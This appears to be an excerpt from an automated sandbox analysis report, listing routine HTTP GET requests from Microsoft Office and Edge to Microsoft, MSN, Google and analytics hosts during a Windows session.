Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732506089&P2=404&P3=2&P4=QqAfrdqLFYLtFx8ZwSFd%2fR7kuguHRCwdW3Vt4roM3QNk6UgTvNsGGvCeyHuBFofFq28MBNpxNn2UDPkM3wyNAg%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: 7d1DmAAYGEYFl0ptjKU2TlSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=173F2CCF736C687C022A39F472CD694D; _EDGE_S=F=1&SID=12B306886C7469E01D8C13B36D126862; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731901295409&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a43a09c4f5cf4767a1730934a9d14de9&activityId=a43a09c4f5cf4767a1730934a9d14de9&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=173F2CCF736C687C022A39F472CD694D; _EDGE_S=F=1&SID=12B306886C7469E01D8C13B36D126862; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=173F2CCF736C687C022A39F472CD694D&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=c04b42fa46ca40c088478c48451b595a HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=173F2CCF736C687C022A39F472CD694D; _EDGE_S=F=1&SID=12B306886C7469E01D8C13B36D126862; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOP1.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1731901295409&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=173F2CCF736C687C022A39F472CD694D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731901295409&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=173F2CCF736C687C022A39F472CD694D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1FAee466c0410808c366d2b1731901297; XID=1FAee466c0410808c366d2b1731901297
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=173F2CCF736C687C022A39F472CD694D&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=c99748ff9d124931b7ff1abca02fe344 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=173F2CCF736C687C022A39F472CD694D; _EDGE_S=F=1&SID=12B306886C7469E01D8C13B36D126862; _EDGE_V=1
